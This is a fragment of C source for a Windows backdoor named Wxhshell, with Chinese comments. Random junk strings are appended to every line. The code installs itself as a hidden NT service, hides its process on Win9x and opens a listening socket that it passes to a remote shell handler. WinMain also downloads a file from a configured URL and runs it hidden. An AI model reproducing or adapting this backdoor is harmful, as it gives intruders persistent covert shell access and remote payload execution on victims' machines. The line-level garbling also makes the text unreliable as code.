DWORD AffinityMask; "Fnq>iR-
DWORD BasePriority; }|wv]U~
ULONG UniqueProcessId; :c.JhE3D
ULONG InheritedFromUniqueProcessId; q%/uQT?
} PROCESS_BASIC_INFORMATION; Y[
zZw~yx
r&3pM2Da}
PROCNTQSIP NtQueryInformationProcess; r"{<%e
pyZ9OA!PD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~DF:lqwWP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TNwKda+
p(JlvJjo
HANDLE hProcess; c EnkU]
PROCESS_BASIC_INFORMATION pbi; FjFMR
63
Di5(9]o2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [A2`]CE<@
if(NULL == hInst ) return 0; (Ddp|a"b
.12aUXo(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); </"4 zD|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5|8^9Oe5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sLL7]m}
/JJw 6[N
if (!NtQueryInformationProcess) return 0; n,'OiVl[
h9s >LY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FMw&(
if(!hProcess) return 0; FnFb[I@eu
'LE"#2Hu
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ';B#Gx
Iah[j,]r
CloseHandle(hProcess); OE`X<h4r
=aG xg57
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -yAQ
if(hProcess==NULL) return 0; vH[47Cv G5
Nw_@A8-r
HMODULE hMod; b~m2tC=AW
char procName[255]; ) c2_b
unsigned long cbNeeded; 1bnBji
J^#:qk
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]< l6s
Me5{_n
CloseHandle(hProcess); :[l\@>H1tX
.Ajzr8P
if(strstr(procName,"services")) return 1; // 以服务启动 R`8@@}
Guw}=l--YR
return 0; // 注册表启动 )cJ#-M2
} }_'IE1bA
/ ~%KVe
// 主模块 */qtzt
int StartWxhshell(LPSTR lpCmdLine) fV>CZ^=G
{ =uHnRY
SOCKET wsl; }yn0IWVa
BOOL val=TRUE; kRJ4-n^@><
int port=0; '9p@vi{\
struct sockaddr_in door; eV^d6T$
"r4AY
if(wscfg.ws_autoins) Install(); N2r/ho}8
uN*KHE+h
port=atoi(lpCmdLine); ;bzX%f?|G
2F{hg%
if(port<=0) port=wscfg.ws_port; gV;H6"
e}Vw!w
WSADATA data; G3P&{.v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6fo3:P*O
K)tQ]P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "p&Y^]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CqMhk
door.sin_family = AF_INET; Cwa^"r3P1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (& "su3z
door.sin_port = htons(port); hXIro
H9XvO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~/pzxo$
closesocket(wsl); 3rW|kkn
return 1; 'NjzgZ~]P
} 7,qYV}
:$;Fhf<5
if(listen(wsl,2) == INVALID_SOCKET) { a]17qMl
closesocket(wsl); 7w:ef0S
return 1; .~A*=
} GYxM0~:$k
Wxhshell(wsl); 8H,4kY?Z
WSACleanup(); ]B"'}%>ez
jdZ~z#`(!:
return 0; H(c72]@Vg
lf{e[!ML'
} ~)LH='|h\}
E907fX[R~
// 以NT服务方式启动 Ix@&$!'k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e1(Q(3
{ f),TO
DWORD status = 0; Ei}/iBG@
DWORD specificError = 0xfffffff; :K`ESq!8u
RoA?p;]<
serviceStatus.dwServiceType = SERVICE_WIN32; W:,4 :|3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9O`
m,t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `pf4X/Py
serviceStatus.dwWin32ExitCode = 0; 6oaazB^L
serviceStatus.dwServiceSpecificExitCode = 0; h!~3Dw>,N
serviceStatus.dwCheckPoint = 0; o+`6LKg;
serviceStatus.dwWaitHint = 0; l&4,v
<U5wB]]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uzmk6G
v
if (hServiceStatusHandle==0) return; ]w T 7*( Y
S:4crI
status = GetLastError(); WG*t::NN
if (status!=NO_ERROR) >^q7c8]~g
{ XZ&KR.C,
serviceStatus.dwCurrentState = SERVICE_STOPPED; +d+@u)6
serviceStatus.dwCheckPoint = 0; w\54j)rb
serviceStatus.dwWaitHint = 0; P./V6i<:
serviceStatus.dwWin32ExitCode = status; S=R7`a<.5
serviceStatus.dwServiceSpecificExitCode = specificError; +;$oJJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ](tx<3h
return; {2/LRPT
} <DKS+R
m }a|FS
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y$N)^=7
serviceStatus.dwCheckPoint = 0; ^4r73ak/):
serviceStatus.dwWaitHint = 0; #_lt~^6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C{sLz9
} S(S#
[U}+sTQ
// 处理NT服务事件,比如:启动、停止 [Vd[-
VOID WINAPI NTServiceHandler(DWORD fdwControl) *D o/+[Ae
{ ur
:i)~wXn
switch(fdwControl) ?88[|;b3
{ .)}@J5P)
case SERVICE_CONTROL_STOP: /V3=KY`_J
serviceStatus.dwWin32ExitCode = 0; F:*W5xX
serviceStatus.dwCurrentState = SERVICE_STOPPED; sK{l 9
serviceStatus.dwCheckPoint = 0; +iRq8aS_
serviceStatus.dwWaitHint = 0; .Ha'p.
{ A+y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;\EiM;Q]
} WZOY)>K
return; ]\/tVn.'
case SERVICE_CONTROL_PAUSE: &_JD)mM5
serviceStatus.dwCurrentState = SERVICE_PAUSED; D:k3"
E"S
break; j1_@qns{
case SERVICE_CONTROL_CONTINUE: <;E
serviceStatus.dwCurrentState = SERVICE_RUNNING; `_b`kzJ
break; hN['7:bQ
case SERVICE_CONTROL_INTERROGATE: 3qY K_M^[
break; 5H=ko8fZ=
}; ~/mwx8~
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
T+N|R
} [M.f-x:
k>t)g-,2
// 标准应用程序主函数 "ZTTg>r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |
8qBm
{ bSVlk`
:2njp%
// 获取操作系统版本 +?p.?I
OsIsNt=GetOsVer(); 4w#``UY)'
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3 ?Y|
XU+<?%u}z
// 从命令行安装 vG \a1H
if(strpbrk(lpCmdLine,"iI")) Install(); SQeRSz8bK4
YF+n
b.0.
// 下载执行文件 dw.F5?j`b
if(wscfg.ws_downexe) { Wf{O[yL*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V([~r,
WinExec(wscfg.ws_filenam,SW_HIDE); kdb(I@6
} F4<O2!V
?<G]&EK~~]
if(!OsIsNt) { e/->_T(I
// 如果时win9x,隐藏进程并且设置为注册表启动 -P&6L\V
HideProc(); 5 H#W[^s"
StartWxhshell(lpCmdLine); W8lx~:v
} 5,)Qw
else 3!5Ur&
if(StartFromService()) O?<&+(uMTT
// 以服务方式启动 _EF&A-kX|u
StartServiceCtrlDispatcher(DispatchTable); Oy 2+b1{
else j5
g# M
// 普通方式启动 + >cBVx6
StartWxhshell(lpCmdLine); aZEn6*0B
zG e'*Qei
return 0;
{EdH$l>94
}